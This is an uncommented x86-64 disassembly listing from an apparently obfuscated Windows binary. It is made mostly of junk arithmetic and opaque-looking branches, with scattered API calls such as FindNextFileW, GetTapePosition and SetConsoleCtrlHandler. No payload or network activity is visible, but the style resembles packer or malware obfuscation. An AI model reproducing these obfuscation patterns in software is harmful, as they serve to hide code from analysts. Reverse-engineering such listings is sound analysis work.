call fcn.1400faaa0
nop
mov dword [rsp + 0x29cc], 0xbbc2
mov dword [rsp + 0x29d0], 0xe139
movabs rax, 0x73b05d78edb069
cmp qword [rsp + 0x4b28], rax
jne 0x140002638
movsx eax, word [rsp + 0x840]
shl eax, 4
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
mov dword [rsp + 0x29d4], eax
cmp dword [rsp + 0x29d4], 0x245
je 0x14000257b
jmp 0x14000257d
jmp 0x14000259d
movabs rax, 0x74702afd899088
mov rcx, qword [rsp + 0x4b20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
lea rax, [rsp + 0x29d8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x16df0]
lea r8, [rsp + 0x4ae0]
mov edx, 0x5f
mov rcx, qword [rsp + 0x4af8]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x29d8], eax
movabs rax, 0x7819eced00303e
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
jmp 0x1400f8f24
movsx eax, byte [rsp + 0x30]
add eax, 0x62
cmp eax, 0x1d
jne 0x1400026a9
movsx eax, word [rsp + 0x840]
mov dword [rsp + 0x29dc], eax
cmp dword [rsp + 0x29dc], 0x691
je 0x140002663
jmp 0x14000268c
movzx r9d, byte [rsp + 0x30]
mov rax, qword [rsp + 0x4b40]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x844]
movzx ecx, word [rsp + 0x840]
call fcn.1400faaa0
nop
jmp 0x1400026a9
lea rdx, [rsp + 0x17190]
mov rcx, qword [rsp + 0x4b60]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [rsp + 0x297c], eax
lea rax, [rsp + 0x844]
mov qword [rsp + 0x4b68], rax
lea rax, [rsp + 0x840]
mov qword [rsp + 0x4b70], rax
mov byte [rsp + 0x31], 0xe9
mov dword [rsp + 0x29e0], 0x634f
movsx eax, word [rsp + 0x840]
mov dword [rsp + 0x29e4], eax
cmp dword [rsp + 0x29e4], 0x400
je 0x1400026fa
jmp 0x1400f8e4c
cmp dword [rsp + 0x29cc], 0xdb34
je 0x14000287d
movabs rax, 0x727ce4bcc2fea9
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
shl eax, 2
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
xor eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
or eax, ecx
mov word [section..data], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
sar eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movabs rax, 0x7c45fbbced041f
mov rcx, qword [rsp + 0x4b20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
movabs rax, 0x7cbf1c7b38d6b9
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x29cc]
add eax, 0xe6
mov dword [rsp + 0x29cc], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
and eax, 0x153
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
jmp 0x1400026fa
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x32], al
mov dword [rsp + 0x29e8], 0x72f0
movzx eax, word [rsp + 0x844]
mov word [rsp + 0x848], ax
movsx eax, byte [rsp + 0x30]
add eax, 0x17
movsx ecx, byte [rsp + 0x32]
cmp eax, ecx
jg 0x14000297e
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x29ec], al
cmp byte [rsp + 0x29ec], 0x65
je 0x1400028df
cmp byte [rsp + 0x29ec], 0x6b
je 0x14000296b
jmp 0x14000297e
mov eax, dword [rsp + 0x29f0]
sub eax, 0x5430
cmp eax, dword [rsp + 0x29bc]
jg 0x140002943
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [section..data], ax
call qword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
movzx eax, byte [rsp + 0x31]
sub eax, 0xf1
mov byte [rsp + 0x31], al
mov eax, dword [rsp + 0x29d8]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
jmp 0x140002969
movabs rax, 0x775848b23a98ec
cmp qword [rsp + 0x4b28], rax
jb 0x140002969
mov ecx, 0xb9
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [rsp + 0x2980], eax
jmp 0x14000297e
mov eax, dword [rsp + 0x29f0]
or eax, 0x562d
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4b20]
mov qword [rsp + 0x4b78], rax
mov dword [rsp + 0x29f4], 0x59b0
mov dword [rsp + 0x29f8], 0x5697
movsx eax, word [rsp + 0x840]
sar eax, 2
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movsx eax, byte [rsp + 0x32]
xor eax, 0x4a
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
and eax, 0x57f
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x844], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
add eax, 0x698
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x29f0]
sub eax, 0x14ff
mov dword [rsp + 0x29bc], eax
movabs rax, 0x7ea74256ef98db
mov rcx, qword [rsp + 0x4b28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movsx eax, word [rsp + 0x840]
add eax, 0x39e
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movsx eax, word [rsp + 0x840]
sar eax, 3
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
shl eax, cl
mov word [section..data], ax
mov eax, dword [rsp + 0x29b8]
sub eax, 0xbf
mov dword [rsp + 0x29b8], eax
movsx eax, byte [rsp + 0x32]
or eax, 0x54
mov byte [rsp + 0x30], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
xor eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov eax, dword [rsp + 0x29f0]
and eax, 0x7081
mov dword [rsp + 0x29bc], eax
movabs rax, 0x7ce9ee4cb941d0
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov eax, dword [rsp + 0x2980]
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x844], ax
movsx eax, word [rsp + 0x840]
sub eax, 0x38d
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [section..data]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov word [section..data], ax
cmp dword [rsp + 0x29b8], 0x1791
jae 0x1400029a4
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movabs rax, 0x7d696723144d8b
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
movabs rax, 0x7aefb019bc6d21
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x29bc]
mov dword [rsp + 0x29f0], eax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
xor eax, 0x33f
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [section..data]
sar eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
shl eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
or eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
and eax, 0x2e5
mov word [rsp + 0x840], ax
movsx eax, word [rsp + 0x840]
sub eax, 0x286
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movsx eax, word [rsp + 0x840]
sub eax, 0x433
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
mov eax, dword [rsp + 0x29e0]
sub eax, 0x7c
mov dword [rsp + 0x29e0], eax
movsx eax, byte [rsp + 0x32]
add eax, 0x1b
mov byte [rsp + 0x30], al
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x844], ax
cmp dword [rsp + 0x29e0], 0x3f77
jae 0x140002bfe
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x33], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
add eax, 0x144
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x2958]
movzx ecx, al
mov eax, dword [rsp + 0x29d8]
shr eax, cl
mov dword [rsp + 0x2980], eax
movsx eax, word [rsp + 0x840]
xor eax, 0x27a
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
or eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b78]
shl rax, 0x16
mov qword [rsp + 0x4b20], rax
movzx eax, byte [rsp + 0x33]
sub eax, 0xec
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
add eax, 0x568
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [section..data], ax
movzx eax, byte [rsp + 0x33]
add eax, 0x64
mov byte [rsp + 0x31], al
movabs rax, 0x75101f7b8a7fae
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
movabs rax, 0x78f582349608bb
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov eax, dword [rsp + 0x29ac]
sub eax, 0xa7
mov dword [rsp + 0x29ac], eax
movzx eax, byte [rsp + 0x33]
shl eax, 4
mov byte [rsp + 0x31], al
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2958]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
or eax, ecx
mov word [section..data], ax
movsx eax, byte [rsp + 0x30]
sar eax, 1
mov byte [rsp + 0x32], al
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2980], eax
cmp dword [rsp + 0x29ac], 0xefde
jae 0x140002dce
mov rax, qword [rsp + 0x4b20]
mov qword [rsp + 0x4b80], rax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x4b88], rax
lea rax, [rsp + 0x4b28]
mov qword [rsp + 0x4b90], rax
movsx eax, word [rsp + 0x840]
sub eax, 0x7e6
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movabs rax, 0x79fb45ed23c147
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x29bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2980], eax
movabs rax, 0x7547c80e4199c1
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
add eax, 0x262
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x30]
or eax, 0x79
mov byte [rsp + 0x32], al
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
sar eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x31]
shl eax, 4
mov byte [rsp + 0x33], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [section..data]
xor eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov eax, dword [rsp + 0x29d0]
sub eax, 0x8e
mov dword [rsp + 0x29d0], eax
mov rax, qword [rsp + 0x4b90]
movabs rcx, 0x74a4ade7f053ba
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x29d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movsx eax, word [rsp + 0x840]
sub eax, 0xa9
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov word [rsp + 0x844], ax
movzx eax, byte [rsp + 0x33]
add eax, 0xc4
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [section..data], ax
mov eax, dword [rsp + 0x29bc]
mov rcx, qword [rsp + 0x4b88]
mov qword [rsp + 0x4b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
movabs rcx, 0x711d161825afb5
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b78]
movzx ecx, al
mov rax, qword [rsp + 0x4b80]
sar rax, cl
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2980], eax
movsx eax, byte [rsp + 0x30]
and eax, 0x5c
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x30]
sub eax, 0x7e
mov byte [rsp + 0x32], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov word [rsp + 0x844], ax
movzx eax, byte [rsp + 0x31]
add eax, 0xa7
mov byte [rsp + 0x33], al
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
movsx eax, byte [rsp + 0x32]
and eax, 0x22
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4b80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4b90]
movabs rcx, 0x7466b424f53bbf
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x33]
shl eax, 1
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
or eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sar eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
xor eax, ecx
mov word [section..data], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b80], rax
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x29bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4b28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x33]
add eax, 0x46
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
and eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x31]
add eax, 0xdd
mov byte [rsp + 0x33], al
cmp dword [rsp + 0x29d0], 0xbed5
ja 0x14000302d
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov dword [rsp + 0x29fc], eax
cmp dword [rsp + 0x29fc], 0
je 0x14000358b
cmp dword [rsp + 0x29fc], 0x35b6
je 0x1400036d3
jmp 0x14000370c
movsx eax, byte [rsp + 0x32]
add eax, 0xc
movsx ecx, byte [rsp + 0x30]
cmp eax, ecx
jge 0x1400036d1
movzx eax, word [rsp + 0x840]
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
movzx ecx, word [rsp + 0x848]
movzx edx, word [section..data]
xor ecx, edx
cmp eax, ecx
jne 0x140003690
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov dword [rsp + 0x2a00], eax
cmp dword [rsp + 0x2a00], 0
je 0x14000360b
cmp dword [rsp + 0x2a00], 0x41b1
je 0x14000365e
jmp 0x14000368e
mov rax, qword [rsp + 0x4b70]
movzx eax, word [rax]
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov qword [rsp + 0x4ba0], rax
mov dword [rsp + 0x2a04], 0x2143
lea rax, [rsp + 0x4b80]
mov qword [rsp + 0x4ba8], rax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x4bb0], rax
jmp 0x14000368e
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
jmp 0x1400036c6
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
shl eax, cl
movzx ecx, word [section..data]
movzx edx, word [rsp + 0x848]
or ecx, edx
cmp eax, ecx
je 0x1400036c6
movsx eax, byte [rsp + 0x30]
and eax, 0x72
mov byte [rsp + 0x32], al
mov dword [rsp + 0x2a08], 0x2cdc
jmp 0x14000370c
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov edx, 1
lea rcx, [fcn.1400fa6b0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov dword [rsp + 0x29c4], eax
movzx eax, word [rsp + 0x844]
mov dword [rsp + 0x2a0c], eax
cmp dword [rsp + 0x2a0c], 0
je 0x140003734
cmp dword [rsp + 0x2a0c], 0x209
je 0x14000377a
jmp 0x1400037a8
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov dword [0x140114150], eax
mov dword [rsp + 0x2a10], 0x4866
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x34], al
lea rax, [rsp + 0x844]
mov qword [rsp + 0x4bc0], rax
lea rax, [rsp + 0x84c]
mov qword [rsp + 0x4bc8], rax
jmp 0x1400037a8
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4bc8]
movzx ecx, word [rax]
call fcn.1400fa180
nop
lea rax, [rsp + 0x4b28]
mov qword [rsp + 0x4bd0], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b80], rax
cmp dword [rsp + 0x2974], 0x8813
jae 0x140003a9d
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov byte [rsp + 0x31], al
mov eax, dword [rsp + 0x29bc]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movzx eax, word [section..data]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4bd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bd8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov eax, dword [0x140114150]
movzx ecx, al
mov eax, dword [rsp + 0x29f0]
shl eax, cl
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
add ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x84c]
add eax, ecx
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x32]
sub eax, 0x25
mov byte [rsp + 0x30], al
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov eax, dword [rsp + 0x2974]
add eax, 0x5b
mov dword [rsp + 0x2974], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x29d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x4b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
or eax, ecx
mov word [rsp + 0x84c], ax
mov eax, dword [rsp + 0x29bc]
mov rcx, qword [rsp + 0x4bb0]
mov qword [rsp + 0x4be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4be0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140114150], eax
movzx eax, word [rsp + 0x844]
